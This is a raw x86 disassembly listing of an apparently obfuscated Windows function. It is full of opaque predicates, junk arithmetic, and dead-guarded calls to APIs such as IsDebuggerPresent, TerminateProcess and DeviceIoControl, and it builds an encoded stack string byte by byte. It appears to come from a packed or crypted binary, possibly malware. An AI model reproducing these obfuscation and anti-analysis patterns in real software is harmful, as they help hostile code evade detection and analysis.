mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x418580
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
cmp dword [ebp - 0x8c8], 0
je 0x41858b
jmp 0x418541
jmp 0x418541
jmp 0x4184f5
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xa5c]
cmp dword [ebp + eax - 0xa5c], ecx
jle 0x4185ba
mov dword [ebp - 0x558], 1
jmp 0x4185c1
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xc20], eax
mov eax, 0x31ea062
test eax, eax
je 0x4185f4
push 0
lea ecx, [ebp - 0xa54]
call fcn.004014ea
cmp dword [eax], 0
je 0x4185f4
mov dword [ebp - 0x550], 1
jmp 0x4185fb
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 0xfffffffd
jne 0x418610
mov dword [ebp - 0x84c], 1
jmp 0x418617
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x84c]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x558], eax
jge 0x418643
mov dword [ebp - 0x6d8], 1
jmp 0x41864a
and dword [ebp - 0x6d8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc74]
cmp dword [ebp - 0x6d8], eax
jne 0x41866b
mov dword [ebp - 0x798], 1
jmp 0x418672
and dword [ebp - 0x798], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x560]
dec eax
mov dword [ebp - 0x568], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x568]
mov dword [ebp + eax - 0x560], ecx
mov eax, dword [ebp - 0x798]
add eax, 7
sub eax, dword [ebp - 0x928]
cmp dword [ebp - 0x568], eax
jg 0x4186bc
mov dword [ebp - 0x8d0], 1
jmp 0x4186c3
and dword [ebp - 0x8d0], 0
mov esi, dword [ebp - 0x150]
push 0
lea ecx, [ebp - 0xa54]
call fcn.004014ea
imul esi, dword [eax]
mov dword [ebp - 0x120], esi
lea ecx, [ebp - 0xa54]
call fcn.004014ce
and dword [ebp - 0x190], 0
jmp 0x418700
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0xd
jae 0x418849
mov dword [ebp - 0xac0], 1
mov dword [ebp - 0xabc], 1
mov dword [ebp - 0xab8], 1
mov dword [ebp - 0xab4], 1
lea ecx, [ebp - 0x325]
call fcn.004014f9
push eax
lea eax, [ebp - 0xab0]
push eax
lea eax, [ebp - 0xac0]
push eax
lea ecx, [ebp - 0xdb4]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa48]
call fcn.004014a8
mov dword [ebp - 0x188], 0
jmp 0x418783
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x41879f
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x360], 0xffffffff
jmp 0x418776
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x360], 3
jmp 0x4187cd
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x360]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x360], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x360], 0
jl 0x418829
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x360]
lea ecx, [ebp - 0xa48]
call fcn.004014ea
mov esi, eax
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x360]
lea ecx, [ebp - 0xa48]
call fcn.004014ea
mov ecx, dword [esi]
mov dword [eax], ecx
push 2
lea ecx, [ebp - 0xa48]
call fcn.004014ea
cmp dword [eax], 0
je 0x418827
jmp 0x4187b2
jmp 0x4187b2
lea ecx, [ebp - 0xa48]
call fcn.004014ce
xor eax, eax
mov ecx, dword [ebp - 0x190]
mov word [ebp + ecx*2 - 0xd9c], ax
jmp 0x4186f3
mov dword [ebp - 0x84], 0xfffffff6
mov dword [ebp - 0x33c], 0xffffffff
mov dword [ebp - 0x198], 0x9d2e
mov dword [ebp - 0x578], 5
mov dword [ebp - 0x580], 0x616d21b1
mov dword [ebp - 0xae8], 0x7e595016
mov dword [ebp - 0xae4], 0x7e595016
mov dword [ebp - 0xae0], 0x7e595016
mov dword [ebp - 0xadc], 0x7e595016
lea ecx, [ebp - 0x33e]
call fcn.004014f9
push eax
lea eax, [ebp - 0xad8]
push eax
lea eax, [ebp - 0xae8]
push eax
lea ecx, [ebp - 0xdf4]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc84]
call fcn.004014a8
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xc28], eax
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x84], eax
jg 0x418904
mov eax, 0xa07c694a
test eax, eax
jne 0x418904
and dword [ebp - 0x6e0], 0
jmp 0x41890e
mov dword [ebp - 0x6e0], 1
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x6e0], eax
jle 0x418928
mov dword [ebp - 0x930], 1
jmp 0x41892f
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x33c]
cmp dword [ebp - 0x84], eax
jg 0x418952
mov eax, 0xb1d6
test eax, eax
je 0x418952
mov dword [ebp - 0x570], 1
jmp 0x418959
and dword [ebp - 0x570], 0
imul eax, dword [ebp - 0x570], 0x7fc0
test eax, eax
je 0x41897c
cmp dword [ebp - 0x84], 0
je 0x41897c
mov dword [ebp - 0x7fc], 1
jmp 0x418983
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x7fc], eax
jge 0x41899d
mov dword [ebp - 0x8d8], 1
jmp 0x4189a4
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xc38], eax
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0xd28], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x578], eax
jge 0x4189ee
mov dword [ebp - 0x6e8], 1
jmp 0x4189f5
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x580]
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0xcec], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x7a0], eax
push 1
lea ecx, [ebp - 0xc84]
call fcn.004014ea
mov ecx, dword [ebp - 0x7a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x7a0]
sub eax, dword [ebp - 0x33c]
je 0x418a80
mov dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
dec eax
mov dword [ebp - 0x588], eax
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x418a7e
push 0
push 0
push 0x174b
push 0
push 0x169c
push 0
push 0xf1a
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x418a9f
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x418a9f
push 0x1e7
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [ebp - 0xc84]
call fcn.004014ce
cmp dword [ebp - 0x68c], 0
je 0x41aefa
mov dword [ebp - 0x700], 0xfc07e17f
mov dword [ebp - 0x314], 7
mov dword [ebp - 0xc3c], 0xfffffff7
mov dword [ebp - 0x338], 0x2d2c87a7
mov dword [ebp - 0x304], 0xfffffff7
mov dword [ebp - 0x8ec], 0xf13e13a6
mov dword [ebp - 0x30c], 0x8fb0b44
mov dword [ebp - 0x2c4], 0x58e92eda
mov dword [ebp - 0xc44], 0x6501874d
push 3
lea ecx, [ebp - 0xb7c]
call fcn.004013fc
mov dword [ebp - 0x940], 5
mov dword [ebp - 0x948], 0x82e77e81
mov dword [ebp - 0x34c], 0xfffc
mov dword [ebp - 0x8e0], 0xfffffff7
mov dword [ebp - 0x1a0], 0
jmp 0x418b5f
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 3
jge 0x418b7e
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0xb7c]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x418b52
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0x304], eax
jge 0x418b98
mov dword [ebp - 0x6f0], 1
jmp 0x418b9f
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x338]
imul eax, dword [ebp - 0x6f0]
cmp eax, dword [ebp - 0x2c4]
jl 0x418bc0
mov dword [ebp - 0x938], 1
jmp 0x418bc7
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x30c]
sub eax, 0xe005
sub eax, dword [ebp - 0x8e0]
cmp eax, dword [ebp - 0x338]
jl 0x418bec
mov dword [ebp - 0x590], 1
jmp 0x418bf3
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0xcd21
je 0x418c17
mov dword [ebp - 0x82c], 1
jmp 0x418c1e
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x82c], eax
je 0x418c38
mov dword [ebp - 0x598], 1
jmp 0x418c3f
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0x598], eax
jl 0x418c59
mov dword [ebp - 0x6f8], 1
jmp 0x418c60
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0x6f8], eax
jl 0x418c7a
mov dword [ebp - 0x5a0], 1
jmp 0x418c81
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x940]
cmp dword [ebp - 0x5a0], eax
jl 0x418ca4
cmp dword [ebp - 0x30c], 0
je 0x418ca4
mov dword [ebp - 0x5a8], 1
jmp 0x418cab
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x34c]
dec eax
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
add eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x314]
sub ecx, eax
neg ecx
mov dword [ebp - 0x7a8], ecx
push 1
lea ecx, [ebp - 0xb7c]
call fcn.004014ea
mov ecx, dword [ebp - 0x7a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x700]
imul eax, dword [ebp - 0x7a8]
mov ecx, dword [ebp - 0x5a8]
inc ecx
cmp eax, ecx
jne 0x418d16
mov eax, 0xd9236f91
test eax, eax
je 0x418d16
mov dword [ebp - 0x5b0], 1
jmp 0x418d1d
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x948]
add ecx, dword [ebp - 0x5b0]
add eax, ecx
imul eax, dword [ebp - 0x8ec]
test eax, eax
je 0x418d51
mov eax, 0x32a5b4d6
test eax, eax
je 0x418d51
mov dword [ebp - 0x804], 1
jmp 0x418d58
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0x2c4], eax
lea ecx, [ebp - 0xb7c]
call fcn.004014ce
mov dword [ebp - 0x24], 0x83c7730f
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x1a8], 0
jmp 0x418d99
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x418db5
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0xc8], 4
jmp 0x418d8c
mov dword [ebp - 0x24], 0
jmp 0x418dc5
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jg 0x418de7
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x418de5
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
jmp 0x418dbe
mov dword [ebp - 0x24], 0
jmp 0x418df7
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x4191b1
mov dword [ebp - 8], 0xfffffff8
mov dword [ebp - 8], 0
jmp 0x418e18
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x4191ac
mov dword [ebp - 0x8c], 0xb5131d8b
mov dword [ebp - 0x130], 0xffffffff
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0xc8], ecx
jl 0x418e51
mov dword [ebp - 0x5b8], 1
jmp 0x418e58
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5b8]
neg eax
mov dword [ebp - 0x8c], eax
je 0x419117
push 1
lea ecx, [ebp - 0xb94]
call fcn.004013fc
mov dword [ebp - 0x5d0], 0x8036
mov dword [ebp - 0x7b8], 0xf61949f
mov dword [ebp - 0x1b0], 0
jmp 0x418ea6
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 1
jge 0x418ec5
push dword [ebp - 0x1b0]
lea ecx, [ebp - 0xb94]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x418e99
mov byte [ebp - 0xea], 0
movzx eax, byte [ebp - 0xea]
test eax, eax
je 0x418edd
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp dword [ebp - 8], 0
jne 0x418f3e
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc4c], eax
cmp dword [ebp - 0x24], 0xfff8
jb 0x418f01
mov dword [ebp - 0x708], 1
jmp 0x418f08
and dword [ebp - 0x708], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc8]
mov ecx, dword [ebp - 0x708]
lea eax, [ecx + eax + 2]
test eax, eax
jne 0x418f3e
push 0
lea ecx, [ebp - 0xb94]
call fcn.004014ea
cmp dword [eax], 0
jne 0x418f3e
and dword [ebp - 0x5c0], 0
jmp 0x418f48
mov dword [ebp - 0x5c0], 1
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x5c0]
je 0x418f5f
mov dword [ebp - 0x7b0], 1
jmp 0x418f66
and dword [ebp - 0x7b0], 0
imul eax, dword [ebp - 0x7b0], 0x511b
cmp eax, dword [ebp - 0x5d0]
jne 0x418f84
mov dword [ebp - 0x5c8], 1
jmp 0x418f8b
and dword [ebp - 0x5c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc8]
cmp dword [ebp - 0x5c8], eax
jne 0x418fac
mov dword [ebp - 0x710], 1
jmp 0x418fb3
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xc8]
cmp dword [ebp - 0x8c], eax
jge 0x418fdd
mov dword [ebp - 0x974], 1
jmp 0x418fe4
and dword [ebp - 0x974], 0
or eax, 0xffffffff
cmp eax, 4
ja 0x418ff8
mov dword [ebp - 0x158], 0
jmp 0x419130
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jl 0x4191a7
mov dword [ebp - 0x130], 0
jmp 0x419152
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x4191a2
mov dword [ebp - 0x8c], 0
jmp 0x419174
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4191a0
mov byte [ebp - 0xee], 0
movzx eax, byte [ebp - 0xee]
test eax, eax
je 0x41919e
push 0
push 0x2174
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
jmp 0x419167
jmp 0x419145
jmp 0x419123
jmp 0x418e11
jmp 0x418df0
mov dword [ebp - 0x610], 0xfc07e17f
mov dword [ebp - 0x2e8], 7
mov dword [ebp - 0xcf0], 0xfffffff7
mov dword [ebp - 0x2d0], 0x2d2c87a7
mov dword [ebp - 0x2c8], 0xfffffff7
mov dword [ebp - 0x9d4], 0xf13e13a6
mov dword [ebp - 0x2d8], 0x8fb0b44
mov dword [ebp - 0x2f0], 0x58e92eda
mov dword [ebp - 0xcf8], 0x6501874d
push 3
lea ecx, [ebp - 0xb28]
call fcn.004013fc
mov dword [ebp - 0x97c], 5
mov dword [ebp - 0x904], 0x82e77e81
mov dword [ebp - 0x2e0], 0xfffc
mov dword [ebp - 0x8fc], 0xfffffff7
mov dword [ebp - 0x1b8], 0
jmp 0x419259
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 3
jge 0x419278
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0xb28]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x41924c
mov eax, dword [ebp - 0x2e8]
cmp dword [ebp - 0x2c8], eax
jge 0x419292
mov dword [ebp - 0x5f0], 1
jmp 0x419299
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x2d0]
imul eax, dword [ebp - 0x5f0]
cmp eax, dword [ebp - 0x2f0]
jl 0x4192ba
mov dword [ebp - 0x9e4], 1
jmp 0x4192c1
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x2d8]
sub eax, 0xe005
sub eax, dword [ebp - 0x8fc]
cmp eax, dword [ebp - 0x2d0]
jl 0x4192e6
mov dword [ebp - 0x80c], 1
jmp 0x4192ed
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0xcd21
je 0x419311
mov dword [ebp - 0x5f8], 1
jmp 0x419318
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x2d0]
cmp dword [ebp - 0x5f8], eax
je 0x419332
mov dword [ebp - 0x728], 1
jmp 0x419339
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x2e8]
cmp dword [ebp - 0x728], eax
jl 0x419353
mov dword [ebp - 0x37c], 1
jmp 0x41935a
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp - 0x37c], eax
jl 0x419374
mov dword [ebp - 0x7c0], 1
jmp 0x41937b
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x97c]
cmp dword [ebp - 0x7c0], eax
jl 0x41939e
cmp dword [ebp - 0x2d8], 0
je 0x41939e
mov dword [ebp - 0x730], 1
jmp 0x4193a5
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x2e0]
dec eax
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
add eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2e8]
sub ecx, eax
neg ecx
mov dword [ebp - 0x608], ecx
push 1
lea ecx, [ebp - 0xb28]
call fcn.004014ea
mov ecx, dword [ebp - 0x608]
mov dword [eax], ecx
mov eax, dword [ebp - 0x610]
imul eax, dword [ebp - 0x608]
mov ecx, dword [ebp - 0x730]
inc ecx
cmp eax, ecx
jne 0x419410
mov eax, 0xd9236f91
test eax, eax
je 0x419410
mov dword [ebp - 0x83c], 1
jmp 0x419417
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x904]
add ecx, dword [ebp - 0x83c]
add eax, ecx
imul eax, dword [ebp - 0x9d4]
test eax, eax
je 0x41944b
mov eax, 0x32a5b4d6
test eax, eax
je 0x41944b
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x2f0], eax
lea ecx, [ebp - 0xb28]
call fcn.004014ce
mov byte [ebp - 0x280], 8
mov byte [ebp - 0x27f], 0x65
mov byte [ebp - 0x27e], 9
mov byte [ebp - 0x27d], 0x67
mov byte [ebp - 0x27c], 5
mov byte [ebp - 0x27b], 0x74
mov byte [ebp - 0x27a], 0xd
mov byte [ebp - 0x279], 0x7a
mov byte [ebp - 0x278], 0xc
mov byte [ebp - 0x277], 0x7c
mov byte [ebp - 0x276], 1
mov byte [ebp - 0x275], 0x70
mov byte [ebp - 0x274], 7
mov byte [ebp - 0x273], 0x4e
mov byte [ebp - 0x272], 0xa
mov byte [ebp - 0x271], 0x81
mov byte [ebp - 0x270], 2
mov byte [ebp - 0x26f], 0x85
mov byte [ebp - 0x26e], 0xc
mov byte [ebp - 0x26d], 0x4f
mov byte [ebp - 0x26c], 0xef
mov byte [ebp - 0x26b], 0xf7
mov byte [ebp - 0x26a], 0x19
mov byte [ebp - 0x269], 0x34
mov byte [ebp - 0x268], 0xca
mov byte [ebp - 0x267], 6
mov byte [ebp - 0x266], 0x49
mov byte [ebp - 0x265], 0xcf
mov byte [ebp - 0x264], 0xbd
mov byte [ebp - 0x263], 0x22
mov byte [ebp - 0x262], 0xb
mov byte [ebp - 0x261], 0x78
mov byte [ebp - 0x260], 4
mov byte [ebp - 0x25f], 0x87
mov byte [ebp - 0x25e], 0
mov byte [ebp - 0x25d], 0x5e
mov byte [ebp - 0x25c], 3
mov byte [ebp - 0x25b], 0x69
mov byte [ebp - 0x25a], 6
mov byte [ebp - 0x259], 0x7e
and dword [ebp - 0x68], 0
and dword [ebp - 0x4bc], 0
jmp 0x419596
mov dword [ebp - 0x214], 0xfffffffb
mov dword [ebp - 0x9fc], 0
push 3
lea ecx, [ebp - 0xb88]
call fcn.004013fc
mov dword [ebp - 0x54], 0
jmp 0x41af2b
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x41af41
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x7f8], 0xfffd
jmp 0x41af24
mov dword [ebp - 0x54], 0
jmp 0x41af51
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x41af6a
push dword [ebp - 0x54]
lea ecx, [ebp - 0xb88]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x41af4a
mov dword [ebp - 0x214], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f8]
cmp eax, dword [ebp - 0x214]
jl 0x41af95
mov dword [ebp - 0x694], 1
jmp 0x41af9c
and dword [ebp - 0x694], 0
cmp dword [ebp - 0x694], 0xcec7
jne 0x41b05a
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0xbec], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7f8], 0xfbce008f
jbe 0x41afd7
mov dword [ebp - 0x69c], 1
jmp 0x41afde
and dword [ebp - 0x69c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f8]
cmp dword [ebp - 0x69c], eax
jle 0x41afff
mov dword [ebp - 0x94c], 1
jmp 0x41b006
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0xd58], eax
cmp dword [ebp - 0x214], 0xffff
jne 0x41b02a
mov dword [ebp - 0x6a4], 1
jmp 0x41b031
and dword [ebp - 0x6a4], 0
cmp dword [ebp - 0x6a4], 0xfffffff6
jae 0x41b048
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7f8], 0
mov eax, 0x28405cef
test eax, eax
jne 0x41b05a
and dword [ebp - 0x6ac], 0
jmp 0x41b064
mov dword [ebp - 0x6ac], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f8]
cmp dword [ebp - 0x6ac], eax
je 0x41b085
mov dword [ebp - 0x6b4], 1
jmp 0x41b08c
and dword [ebp - 0x6b4], 0
push 1
lea ecx, [ebp - 0xb88]
call fcn.004014ea
mov ecx, dword [ebp - 0x6b4]
mov dword [eax], ecx
lea ecx, [ebp - 0xb88]
call fcn.004014ce
cmp dword [0xa779dc], 0
je 0x41bea0
mov dword [ebp - 0x14], 0xcbad
mov dword [ebp - 0x80], 0x72ba29f5
mov dword [ebp - 0x124], 0x3526c715
mov dword [ebp - 0x160], 1
cmp dword [ebp - 0x14], 0
jne 0x41b1e2
cmp dword [ebp - 0x14], 1
jge 0x41b0f7
mov dword [ebp - 0x6bc], 1
jmp 0x41b0fe
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x6bc], 0x34859bb
jg 0x41b116
mov dword [ebp - 0x6c4], 1
jmp 0x41b11d
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x6c4], eax
je 0x41b134
mov dword [ebp - 0x6cc], 1
jmp 0x41b13b
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x6cc], eax
jl 0x41b152
mov dword [ebp - 0x9a4], 1
jmp 0x41b159
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x124], eax
jne 0x41b17f
mov dword [ebp - 0x954], 1
jmp 0x41b186
and dword [ebp - 0x954], 0
mov dword [ebp - 0x80], 0xfffffffb
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xcb8], eax
cmp dword [ebp - 0x14], 2
je 0x41b1a8
mov dword [ebp - 0x6d4], 1
jmp 0x41b1af
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x6d4], eax
je 0x41b1c6
mov dword [ebp - 0x6dc], 1
jmp 0x41b1cd
and dword [ebp - 0x6dc], 0
cmp dword [ebp - 0x6dc], 0xcbc21b07
jb 0x41b1e2
and dword [ebp - 0x380], 0
jmp 0x41b1ec
mov dword [ebp - 0x380], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x380], eax
jne 0x41b209
cmp dword [ebp - 0x124], 0
je 0x41b209
and dword [ebp - 0x9d8], 0
jmp 0x41b213
mov dword [ebp - 0x9d8], 1
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x80]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x124]
cmp eax, 0xa258
jge 0x41b244
mov dword [ebp - 0x388], 1
jmp 0x41b24b
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x388]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x80], 0xfffffff6
jmp 0x41b26b
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xfffffffe
jle 0x41b32d
mov dword [ebp - 0x21c], 0
jmp 0x41b28e
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 2
jge 0x41b2aa
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0xdec], 0xffffffff
jmp 0x41b281
mov dword [ebp - 0x14], 0
jmp 0x41b2ba
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jg 0x41b328
mov dword [ebp - 0x160], 0
jmp 0x41b2d9
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jg 0x41b326
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x41b30a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov byte [ebp - 0xef], 0
movzx eax, byte [ebp - 0xef]
test eax, eax
je 0x41b324
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x41b2cc
jmp 0x41b2b3
jmp 0x41b264
mov eax, dword [ebp + 8]
mov dword [ebp - 0x8e4], eax
mov dword [ebp - 0x224], 0x1f7e2799
mov dword [ebp - 0x224], 0xfffffffe
jmp 0x41b359
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xd
jge 0x41b398
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x41b37c
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x41b396
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x41b34c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0xa84], 0x71177e8e
mov dword [ebp - 0xa80], 0x71177e8e
mov dword [ebp - 0xa7c], 0x71177e8e
mov dword [ebp - 0xa78], 0x71177e8e
lea ecx, [ebp - 0x33f]
call fcn.004014f9
push eax
lea eax, [ebp - 0xa74]
push eax
lea eax, [ebp - 0xa84]
push eax
lea ecx, [ebp - 0xde4]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x358]
call fcn.004014a8
mov dword [ebp - 0xe0], 0x45f1dbec
mov dword [ebp - 0xe8], 0xeb44952
mov dword [ebp - 0xe0], 0
jmp 0x41b42b
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jg 0x41b8f4
mov dword [ebp - 0x168], 0xffffffff
